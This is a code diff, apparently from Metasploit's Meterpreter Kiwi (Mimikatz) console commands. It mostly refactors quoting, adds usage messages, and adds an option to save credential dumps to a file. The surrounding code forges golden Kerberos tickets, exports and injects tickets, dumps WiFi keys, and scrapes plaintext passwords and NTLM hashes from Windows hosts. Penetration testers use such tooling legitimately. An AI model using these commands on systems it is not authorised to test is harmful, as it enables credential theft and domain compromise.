|
|
|
207
206
|
ticket = client.kiwi.golden_ticket_create(user, domain, sid, tgt, id, group_ids)
|
|
208
207
|
|
|
209
208
|
::File.open( target, 'wb' ) do |f|
|
|
210
|
-
f.write
|
|
209
|
+
f.write(ticket)
|
|
211
210
|
end
|
|
212
211
|
|
|
213
212
|
print_good("Golden Kerberos ticket written to #{target}")
|
|
@@ -217,26 +216,26 @@ class Console::CommandDispatcher::Kiwi
|
|
|
217
216
|
# Valid options for the ticket listing functionality.
|
|
218
217
|
#
|
|
219
218
|
@@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
219
|
+
'-h' => [ false, 'Help banner' ],
|
|
220
|
+
'-e' => [ false, 'Export Kerberos tickets to disk' ],
|
|
221
|
+
'-p' => [ true, 'Path to export Kerberos tickets to' ]
|
|
223
222
|
)
|
|
224
223
|
|
|
225
224
|
#
|
|
226
225
|
# Output the usage for the ticket listing functionality.
|
|
227
226
|
#
|
|
228
227
|
def kerberos_ticket_list_usage
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
228
|
+
print_line('Usage: kerberos_ticket_list [options]')
|
|
229
|
+
print_line
|
|
230
|
+
print_line('List all the available Kerberos tickets.')
|
|
231
|
+
print_line(@@kerberos_ticket_list_opts.usage)
|
|
233
232
|
end
|
|
234
233
|
|
|
235
234
|
#
|
|
236
235
|
# Invoke the kerberos ticket listing functionality on the target machine.
|
|
237
236
|
#
|
|
238
237
|
def cmd_kerberos_ticket_list(*args)
|
|
239
|
-
if args.include?(
|
|
238
|
+
if args.include?('-h')
|
|
240
239
|
kerberos_ticket_list_usage
|
|
241
240
|
return
|
|
242
241
|
end
|
|
@@ -244,13 +243,13 @@ class Console::CommandDispatcher::Kiwi
|
|
|
244
243
|
# default to not exporting
|
|
245
244
|
export = false
|
|
246
245
|
# default to the current folder for dumping tickets
|
|
247
|
-
export_path =
|
|
246
|
+
export_path = '.'
|
|
248
247
|
|
|
249
248
|
@@kerberos_ticket_list_opts.parse(args) { |opt, idx, val|
|
|
250
249
|
case opt
|
|
251
|
-
when
|
|
250
|
+
when '-e'
|
|
252
251
|
export = true
|
|
253
|
-
when
|
|
252
|
+
when '-p'
|
|
254
253
|
export_path = val
|
|
255
254
|
end
|
|
256
255
|
}
|
|
@@ -261,7 +260,7 @@ class Console::CommandDispatcher::Kiwi
|
|
|
261
260
|
fields << 'Export Path' if export
|
|
262
261
|
|
|
263
262
|
table = Rex::Ui::Text::Table.new(
|
|
264
|
-
'Header' =>
|
|
263
|
+
'Header' => 'Kerberos Tickets',
|
|
265
264
|
'Indent' => 0,
|
|
266
265
|
'SortIndex' => 0,
|
|
267
266
|
'Columns' => fields
|
|
@@ -280,7 +279,7 @@ class Console::CommandDispatcher::Kiwi
|
|
|
280
279
|
|
|
281
280
|
# write out each ticket to disk if export is enabled.
|
|
282
281
|
if export
|
|
283
|
-
path =
|
|
282
|
+
path = '<no data retrieved>'
|
|
284
283
|
if t[:raw]
|
|
285
284
|
id = "#{values[0]}-#{values[1]}".gsub(/[\\\/\$ ]/, '-')
|
|
286
285
|
file = "kerb-#{id}-#{Rex::Text.rand_text_alpha(8)}.tkt"
|
|
@@ -305,7 +304,7 @@ class Console::CommandDispatcher::Kiwi
|
|
|
305
304
|
#
|
|
306
305
|
def cmd_kerberos_ticket_purge(*args)
|
|
307
306
|
client.kiwi.kerberos_ticket_purge
|
|
308
|
-
print_good(
|
|
307
|
+
print_good('Kerberos tickets purged')
|
|
309
308
|
end
|
|
310
309
|
|
|
311
310
|
#
|
|
@@ -313,7 +312,7 @@ class Console::CommandDispatcher::Kiwi
|
|
|
313
312
|
#
|
|
314
313
|
def cmd_kerberos_ticket_use(*args)
|
|
315
314
|
if args.length != 1
|
|
316
|
-
print_line(
|
|
315
|
+
print_line('Usage: kerberos_ticket_use ticketpath')
|
|
317
316
|
return
|
|
318
317
|
end
|
|
319
318
|
|
|
@@ -325,25 +324,13 @@ class Console::CommandDispatcher::Kiwi
|
|
|
325
324
|
|
|
326
325
|
print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes")
|
|
327
326
|
client.kiwi.kerberos_ticket_use(ticket)
|
|
328
|
-
print_good(
|
|
329
|
-
end
|
|
330
|
-
|
|
331
|
-
def wifi_list_usage
|
|
332
|
-
print(
|
|
333
|
-
"\nUsage: wifi_list\n\n" +
|
|
334
|
-
"List WiFi interfaces, profiles and passwords.\n\n")
|
|
327
|
+
print_good('Kerberos ticket applied successfully')
|
|
335
328
|
end
|
|
336
329
|
|
|
337
330
|
#
|
|
338
331
|
# Dump all the wifi profiles/credentials
|
|
339
332
|
#
|
|
340
333
|
def cmd_wifi_list(*args)
|
|
341
|
-
# if any arguments are specified, then fire up a usage message
|
|
342
|
-
if args.length > 0
|
|
343
|
-
wifi_list_usage
|
|
344
|
-
return
|
|
345
|
-
end
|
|
346
|
-
|
|
347
334
|
results = client.kiwi.wifi_list
|
|
348
335
|
|
|
349
336
|
if results.length > 0
|
|
@@ -362,24 +349,39 @@ class Console::CommandDispatcher::Kiwi
|
|
|
362
349
|
table << [p[:name], p[:auth], p[:key_type], p[:shared_key]]
|
|
363
350
|
end
|
|
364
351
|
|
|
365
|
-
print_line
|
|
366
|
-
print_line
|
|
352
|
+
print_line(table.to_s)
|
|
353
|
+
print_line("State: #{r[:state]}")
|
|
367
354
|
end
|
|
368
355
|
else
|
|
369
356
|
print_line
|
|
370
|
-
print_error(
|
|
357
|
+
print_error('No wireless profiles found on the target.')
|
|
371
358
|
end
|
|
372
359
|
|
|
373
360
|
print_line
|
|
374
361
|
return true
|
|
375
362
|
end
|
|
376
363
|
|
|
364
|
+
@@creds_opts = Rex::Parser::Arguments.new(
|
|
365
|
+
'-o' => [ true, 'Write the output to the specified file.' ],
|
|
366
|
+
'-h' => [ false, 'Help menu.' ]
|
|
367
|
+
)
|
|
368
|
+
|
|
369
|
+
#
|
|
370
|
+
# Displays information about the various creds commands
|
|
371
|
+
#
|
|
372
|
+
def cmd_creds_usage(provider)
|
|
373
|
+
print_line("Usage: creds_#{provider} [options]")
|
|
374
|
+
print_line
|
|
375
|
+
print_line("Dump #{provider} credentials.")
|
|
376
|
+
print_line(@@creds_opts.usage)
|
|
377
|
+
end
|
|
378
|
+
|
|
377
379
|
#
|
|
378
380
|
# Dump all the possible credentials to screen.
|
|
379
381
|
#
|
|
380
382
|
def cmd_creds_all(*args)
|
|
381
383
|
method = Proc.new { client.kiwi.all_pass }
|
|
382
|
-
scrape_passwords(
|
|
384
|
+
scrape_passwords('all', method, args)
|
|
383
385
|
end
|
|
384
386
|
|
|
385
387
|
#
|
|
@@ -387,7 +389,7 @@ class Console::CommandDispatcher::Kiwi
|
|
|
387
389
|
#
|
|
388
390
|
def cmd_creds_wdigest(*args)
|
|
389
391
|
method = Proc.new { client.kiwi.wdigest }
|
|
390
|
-
scrape_passwords(
|
|
392
|
+
scrape_passwords('wdigest', method, args)
|
|
391
393
|
end
|
|
392
394
|
|
|
393
395
|
#
|
|
@@ -395,7 +397,7 @@ class Console::CommandDispatcher::Kiwi
|
|
|
395
397
|
#
|
|
396
398
|
def cmd_creds_msv(*args)
|
|
397
399
|
method = Proc.new { client.kiwi.msv }
|
|
398
|
-
scrape_passwords(
|
|
400
|
+
scrape_passwords('msv', method, args)
|
|
399
401
|
end
|
|
400
402
|
|
|
401
403
|
#
|
|
@@ -403,7 +405,7 @@ class Console::CommandDispatcher::Kiwi
|
|
|
403
405
|
#
|
|
404
406
|
def cmd_creds_livessp(*args)
|
|
405
407
|
method = Proc.new { client.kiwi.livessp }
|
|
406
|
-
scrape_passwords(
|
|
408
|
+
scrape_passwords('livessp', method, args)
|
|
407
409
|
end
|
|
408
410
|
|
|
409
411
|
#
|
|
@@ -411,7 +413,7 @@ class Console::CommandDispatcher::Kiwi
|
|
|
411
413
|
#
|
|
412
414
|
def cmd_creds_ssp(*args)
|
|
413
415
|
method = Proc.new { client.kiwi.ssp }
|
|
414
|
-
scrape_passwords(
|
|
416
|
+
scrape_passwords('ssp', method, args)
|
|
415
417
|
end
|
|
416
418
|
|
|
417
419
|
#
|
|
@@ -419,7 +421,7 @@ class Console::CommandDispatcher::Kiwi
|
|
|
419
421
|
#
|
|
420
422
|
def cmd_creds_tspkg(*args)
|
|
421
423
|
method = Proc.new { client.kiwi.tspkg }
|
|
422
|
-
scrape_passwords(
|
|
424
|
+
scrape_passwords('tspkg', method, args)
|
|
423
425
|
end
|
|
424
426
|
|
|
425
427
|
#
|
|
@@ -427,22 +429,22 @@ class Console::CommandDispatcher::Kiwi
|
|
|
427
429
|
#
|
|
428
430
|
def cmd_creds_kerberos(*args)
|
|
429
431
|
method = Proc.new { client.kiwi.kerberos }
|
|
430
|
-
scrape_passwords(
|
|
432
|
+
scrape_passwords('kerberos', method, args)
|
|
431
433
|
end
|
|
432
434
|
|
|
433
435
|
protected
|
|
434
436
|
|
|
435
437
|
def check_privs
|
|
436
438
|
if system_check
|
|
437
|
-
print_good(
|
|
439
|
+
print_good('Running as SYSTEM')
|
|
438
440
|
else
|
|
439
|
-
print_warning(
|
|
441
|
+
print_warning('Not running as SYSTEM, execution may fail')
|
|
440
442
|
end
|
|
441
443
|
end
|
|
442
444
|
|
|
443
445
|
def system_check
|
|
444
|
-
unless
|
|
445
|
-
print_warning(
|
|
446
|
+
unless client.sys.config.is_system?
|
|
447
|
+
print_warning('Not currently running as SYSTEM')
|
|
446
448
|
return false
|
|
447
449
|
end
|
|
448
450
|
|
|
@@ -459,7 +461,12 @@ protected
|
|
|
459
461
|
# Meterpreter that lay in the house that Jack built.
|
|
460
462
|
#
|
|
461
463
|
# @return [void]
|
|
462
|
-
def scrape_passwords(provider, method)
|
|
464
|
+
def scrape_passwords(provider, method, args)
|
|
465
|
+
if args.include?('-h')
|
|
466
|
+
cmd_creds_usage(provider)
|
|
467
|
+
return
|
|
468
|
+
end
|
|
469
|
+
|
|
463
470
|
check_privs
|
|
464
471
|
print_status("Retrieving #{provider} credentials")
|
|
465
472
|
accounts = method.call
|
|
@@ -468,24 +475,40 @@ protected
|
|
|
468
475
|
'Header' => "#{provider} credentials",
|
|
469
476
|
'Indent' => 0,
|
|
470
477
|
'SortIndex' => 0,
|
|
471
|
-
'Columns' =>
|
|
472
|
-
|
|
473
|
-
'Domain', 'User', 'Password', 'Auth Id', 'LM Hash', 'NTLM Hash'
|
|
478
|
+
'Columns' => [
|
|
479
|
+
'Domain', 'User', 'Password', 'LM Hash', 'NTLM Hash'
|
|
474
480
|
]
|
|
475
481
|
)
|
|
476
482
|
|
|
477
483
|
accounts.each do |acc|
|
|
478
484
|
table << [
|
|
479
|
-
acc[:domain] ||
|
|
480
|
-
acc[:username] ||
|
|
481
|
-
acc[:password] ||
|
|
482
|
-
|
|
483
|
-
to_hex(acc[:
|
|
484
|
-
to_hex(acc[:ntlm] || "")
|
|
485
|
+
acc[:domain] || '',
|
|
486
|
+
acc[:username] || '',
|
|
487
|
+
acc[:password] || '',
|
|
488
|
+
to_hex(acc[:lm]),
|
|
489
|
+
to_hex(acc[:ntlm])
|
|
485
490
|
]
|
|
486
491
|
end
|
|
487
492
|
|
|
488
|
-
|
|
493
|
+
output = table.to_s
|
|
494
|
+
print_line(output)
|
|
495
|
+
|
|
496
|
+
# determine if a target file path was passed in
|
|
497
|
+
file_index = args.index('-o')
|
|
498
|
+
unless file_index.nil?
|
|
499
|
+
if args.length > file_index + 1
|
|
500
|
+
# try to write the file to disk
|
|
501
|
+
begin
|
|
502
|
+
::File.write(args[file_index + 1], output)
|
|
503
|
+
print_good("Output written to #{args[file_index + 1]}")
|
|
504
|
+
rescue
|
|
505
|
+
print_error("Unable to write to #{args[file_index + 1]}")
|
|
506
|
+
end
|
|
507
|
+
else
|
|
508
|
+
print_error('Missing file path for -o parameter')
|
|
509
|
+
end
|
|
510
|
+
end
|
|
511
|
+
|
|
489
512
|
return true
|
|
490
513
|
end
|
|
491
514
|
|
|
@@ -496,8 +519,7 @@ protected
|
|
|
496
519
|
# @param (see Rex::Text.to_hex)
|
|
497
520
|
# @return [String] The result of {Rex::Text.to_hex}, strip'd
|
|
498
521
|
def to_hex(value, sep = '')
|
|
499
|
-
value
|
|
500
|
-
Rex::Text.to_hex(value, sep).strip
|
|
522
|
+
Rex::Text.to_hex(value || '', sep).strip
|
|
501
523
|
end
|
|
502
524
|
|
|
503
525
|
end
|